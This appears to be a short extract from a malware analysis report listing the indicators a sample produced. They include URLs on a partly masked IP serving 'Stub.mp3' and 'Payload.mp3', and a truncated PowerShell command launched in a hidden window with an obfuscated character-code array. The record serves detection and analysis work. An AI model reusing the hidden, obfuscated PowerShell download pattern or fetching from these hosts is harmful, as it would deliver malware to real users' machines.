Technical Information
- %WINDIR%\syswow64\calc.exe
- http://93.##.104.101/img/Stub.mp3
- http://93.##.104.101/imagee/Payload.mp3
- DNS ASK google.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $DEEC12F723EED07159D09DFA8ED14B64C3C2F8EDF9C4B6673F=@(100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,103...' (with hidden window)
- '<SYSTEM32>\svchost.exe' -k DcomLaunch -p -s PlugPlay
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $DEEC12F723EED07159D09DFA8ED14B64C3C2F8EDF9C4B6673F=@(100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,103...
- '%WINDIR%\syswow64\calc.exe'